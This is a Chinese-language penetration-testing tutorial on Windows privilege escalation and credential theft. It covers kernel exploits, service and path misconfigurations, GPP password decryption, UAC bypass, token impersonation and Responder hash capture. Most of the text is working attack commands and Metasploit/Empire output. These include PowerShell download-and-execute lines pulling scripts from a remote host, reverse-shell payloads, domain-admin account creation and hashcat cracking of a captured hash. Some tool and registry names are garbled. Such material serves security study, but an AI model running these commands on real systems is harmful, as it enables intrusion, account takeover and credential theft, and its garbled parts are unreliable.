在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
这里是关于缓冲区的漏洞
查看当前权限whoami/groups

查看安装的补丁systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

寻找提权的EXP,将已安装的补丁编号与提权的EXP编号进行对比,然后使用没有编号的EXP进行提权,
对系统补丁包进行过滤,查找指定补丁wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"

如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗
PS C:\Users\q\Desktop> ..\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Import-Module .\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application notepad.exe #打开记事本程序
powershell -nop -exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'" #远程下载,提权,添加用户

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > show options
msf6 post(windows/gather/enum_patches) > run

**项目地址**https://github.com/AonCyberLabs/Windows-Exploit-Suggester
可以将系统中已经安装的补丁和微软的漏洞数据库进行对比,并可以识别可能提权的漏洞,而其需要的仅仅是目标系统的信息
执行命令
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py --update
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# pip install xlrd --upgrade
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py -d 2020-12-23-mssb.xls -i patches.txt
PS C:\Users\q\Desktop> Import-Module .\Sherlock.ps1
PS C:\Users\q\Desktop> Find-AllVulns

getuid
elevate uac-token-duplication
elecate svc-exe

常见的配置错误包括管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等。
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件,因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将文件替换成任意可执行文件,并随着系统服务的启动获得系统权限
PowerUp下的实战利用在渗透测试中可以执行以下两条命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/powersploit/Privesc/PowerUp.ps1'); Invoke-AllChecks"
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks" #将powerup上传至目标服务器,执行此命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #cmd命令行下执行
Metasploit下的实战利用在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
msf6 > use exploit/windows/local/service_permissions
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/service_permissions) > show options
msf6 exploit(windows/local/service_permissions) > set LHOST 1.1.1.5
LHOST => 1.1.1.6
msf6 exploit(windows/local/service_permissions) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/service_permissions) > run #执行后会自动反弹一个新的meterpreter(system)权限

service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。
PathsAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Windows Installer特权安装功能

在“运行”设置柜中输入"gpedit.msc",打开组策略编辑器。
组策略——计算机配置——管理模板——Windows组件——Windows Insaller——永远以高特权进行安装:选择启用。
组策略——用户配置-——管理模板——Windows组件——Windows Intaller——永远以高特权进行安装:选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
Windows Installer的相关知识点
Install是Windows 操作系统的组件之一, 专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序,还用于管理软件的安装管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。
Windowrs Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单来说,双击MSI文件就会运行Msiexec.exe。
PowerUp下的实战使用
可以使用PowerUp的Get-RsigtyswiylstnlElvatee模块来检查注册表键是否被设置。如果AlwaysInstallElevated注册表键已经被设置,就意味着MSI文件是以System 权限运行的。
可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服 务调用的可执行 文件没有正确地处理所引用的完整路径名, 这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能
如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
如果路径与可执行文件有关,就任意创建个可执行文件。
Trusted Service Paths漏洞产生的原因
因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径"C:\Program Files\ Some Folder\Service.exe",对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
在本例中,Windows 会依次尝试确定和执行下列程序
C:\Program.exe
C:\Program Files\ Some.exe
C:\Program Files\ Some Folder\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下),
Metasploit 下的实战利用wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
icacls "存在双引号的服务路径" #查看权限
Everyone: 用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限。
(M):修改。
(F): 完全控制。
(CI): 从属容器将继承访问控制项。
(OI): 从属文件将继承访问控制项。
"Everyone:(ODCDXF)"的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。
sc stop service name
sc start service name
也可以使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启
msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个新的meterpreter,但是反弹的会很快终端,需迁移进程
在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f"命令自动迁移进程

网络管理员在内网中配置同一个环境是,通常会采用脚本化批量部署。在这个过程中,会使用配置文件。这些文件可能包含本地管理员账户密码信息。这些文件列举如下
C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xml
全盘搜索Unattend文件是个好办法,可以用以下命令来全盘搜索Unattend.xml文件:
dir /b /s c:\Unattend.xml
打开文件之后格式为xml格式然后可以进行搜索User、Accounts、UserAccounts、LocalAccounts、Administrator、Password或者经过base64加密的密码,因为我们只需要这部分,例如:
......
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
......
Metasploit集成了该漏洞的利用模块post/windows/gather/enum_unattend
msf6 > use post/windows/gather/enum_unattend
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 post(windows/gather/enum_unattend) > show options
Module options (post/windows/gather/enum_unattend):
Name Current Setting Required Description
---- --------------- -------- -----------
GETALL true yes Collect all unattend.xml that are found
SESSION yes The session to run this module on.
msf6 post(windows/gather/enum_unattend) > set SESSION 5
SESSION => 5
msf6 post(windows/gather/enum_unattend) > run
schtasks /query /fo LIST /v #查看计算机计划任务
AccsChk是Syslnteraks 套件中的一个工具,由Mnk Rusnoih编写用于在Wndows中进行一些系统或程序的高级查询、管理和故障排除工作,基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AcsCce是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。
accesschk.exe -dqv "C:\Microsoft" -accepteula
下面是几个常用的AccessChk命令
第一次运行Sysntemals工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数/accepteula自动接受许可协议,命令如下。
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqg"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*
Empire内置了PowerUp的部分模块
usemodule privesc/powerup Tab #查看模块列表
usemodule privesc/powerup/allchecks
execute
AllChecks模块的应用对象如下
没有被引号引起来的服务的路径。
ACL配置错误的服务(攻击者通常通过“service_*”利用它)。
服务的可执行文件的权限设置不当(攻击者通常通过“service_exe_*”利用它)。
Unattend.xml 文件。
注册表键AlwaysInstallElevated。
如果有Autologon 凭证,都会留在注册表中。
加密的web.config字符串和应用程序池的密码。
%PATH%.DLL的劫持机会(攻击者通常通过 write_dllhijacker利用它).
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYsVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:Windows\SYSVOL\DOMAIN\Policicsl目录中。
在一般的域外现中,所月机宿都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP)列举如下
1、前提:管理员通过组策略统一修改过密码
在域控上执行:开始——>运行——>输入gpmc.msc——>选择test.com——>右键组策略对象——>新建一个test组策略——>弹出一个组策略管理编辑器,然后计算机配置——>首选项——>控制面板设置—本地用户和组 右键本地用户和组——>新建——>本地用户
gpupdate #域中的机器从域控制器处获得组策略的更新信息
2.获取组策略的凭据
管理员在域中新建一个组策略后,操作系统公日动在 SYSVOL 共享目录中生成一个 XML文件,该文件中保存了该组策略更新后的出调。该密码使用 AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站公布了密码的私钥,因此保存在XML文件中的密码的安全性大大降低。任何域用户和域信仕的用尸均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码开将解密,从而域控中所有使用该账户/密码的本地管理员计算机。在SYSVOL中搜索,可以找到包含cpassword 的 XML文件。
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
#cpassword采用AES-256加密,加密后用户名gpp为‘LdN1Ot2OIIjsc/e+nROCMw'
python gpprefdecrypt.py LdN1Ot2OIIjsc/e+nROCMw #解密
powersploit提供了Get-GPPPassword.ps1脚本,将脚本导入系统
PS: Get-GPPPassword
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/credentials/gpp
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 post(windows/gather/credentials/gpp) > show options
msf6 post(windows/gather/credentials/gpp) > set SESSION 6
SESSION => 6
msf6 post(windows/gather/credentials/gpp) > run
usemodule privesc/gpp
info
execute
除了Groups.xml之外,还有几个组策略首选项文件中有可选的cpassword 属性,列举如下
Services\Scrvices.xml
scheduledTasks\ScheduledTasks.xml.
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,需要对 Everyone 访问权限进行设置,具体如下
如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。
UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免思意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设詈进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限,中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。
需要UAC的授权才能进行的操作列举如下
UAC有如下四种设置要求。

假设获取了目标机器的Meterpreter shell ,当前权限为普通用户权限,现在尝试系统的System权限。
首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shel。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了Svstem权限。
在使用bypassuac模块提权时,当前用户必须在管理员组中,且UAC必须为默认设置。
当bypassuac模块运行时,会在目标机上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injecton模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
msf6 > use exploit/windows/local/bypassuac
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) > show options
使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell
要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
msf6 > use exploit/windows/local/ask
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ask) > show options
msf6 exploit(windows/local/ask) > set SESSION 6
SESSION => 6
msf6 exploit(windows/local/ask) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/ask) > run
# run之后,目标机器会弹出UAC对话框
getuid
getsystem
PS C:\Users\q\Desktop> Import-Module .\Invoke-PsUACme.ps1
PS C:\Users\q\Desktop> Invoke-PsUACme -Verbose
PS C:\Users\q\Desktop> Invoke-PsUACme -method oobe -Verbose
PS C:\Windows\temp> Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e mypayload"
除此之外,可以使用-PayloadPath参数指定payload路径,使用-CustomDll64或-CustomDLL32参数,可以自定义DLL文件

1.bypassuac模块
usemodule privesc/bypassuac #设置监听参数
execute
2.bypassuac_wscript模块
usemodule privesc/bypassuac_wscript
set Listener lab
execute #带*的角色提权成功
在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerheros协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示

客户端请求证书的过程如下
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌
meterpreter > use incognito
meterpreter > list_tokens -u
这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。

meterpreter > impersonate_token WIN7\\q #在incognito中调用inpersonate_token,假冒用户q进行测试,WIN7是机器名,q为用户名,中间需要\\隔开

如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌
下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传到目标机器中
meterpreter > upload /home/kali/Downloads/rottenpotato.exe
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

在meterpreter会话中使用ps命令查找域管理进程,并使用migrate命令迁移到该进程,进入shell
net user sec 123456Bo /ad /domain #添加域用户
net group "domain admins" sec /ad /domain #添加到域管理员组
net group "domain admins" /domain #查看域管理员组
同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员
add_user sec 12345Bo -h 1.1.1.8
net group "domain admins" sec -h 1.1.1.8
Empire下获得服务器权限后,可以使用内置的mimikatz工具获取系统密码
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) > set Host http://1.1.1.6
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > set Name sec
(Empire: listeners/http) > execute
(Empire: listeners) > launcher powershell sec
(Empire: agents) > interact N78Z9653
(Empire: N78Z9653) > mimikatz
(Empire: N78Z9653) > creds
(Empire: N78Z9653) > pth 2
(Empire: N78Z9653) > revtoself #恢复令牌权限

针对令牌窃取提权的防御措施如下
假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试。
1.LLMNR2.NetBIOSNetBIOS提供的三种服务如下。
3. Net-NTLM Hash假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。
Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。
Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。
1.下载和运行
Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。Responder 不支持 Windows
假设我们已连接到 Windows Active Directory 环境,当网络上的设备尝试用 LLMNR 和 NBT-NS(NetBIOS 名称服务)请求来解析目标机器时,Responder 就会伪装成目标机器。
当受害者机器尝试登陆攻击者机器,Responder 就可以获取受害者机器用户的 Net-NTLM 哈希值。
git clone https://github.com/SpiderLabs/Responder.git
┌──(root💀kali)-[/home/kali]
└─# responder -I eth0

2.渗透测试
在使用 Responder对网络进行分析之后可以利用SMB协议获取目标网络中计算机的 Net-NTLM Hash。如果用户输入了错误的计算机名在DNS服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS和LLMNR进行解析。

在渗透测试中,使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash

3.使用hashcat进行破解
hashcat -m 5600 q::WIN7:524fa9048b91226c:A78B9944E2BCB793E02A78511A370527:01010000000000009AA13A40DDD9D60164D36B5FEDF5E086000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000EBE62023381C3BC8F579B7C0DC4B836449D20887CC0365A21217FB41FBB0F3040A001000000000000000000000000000000000000900180048005400540050002F0031002E0031002E0031002E0035000000000000000000 p.txt
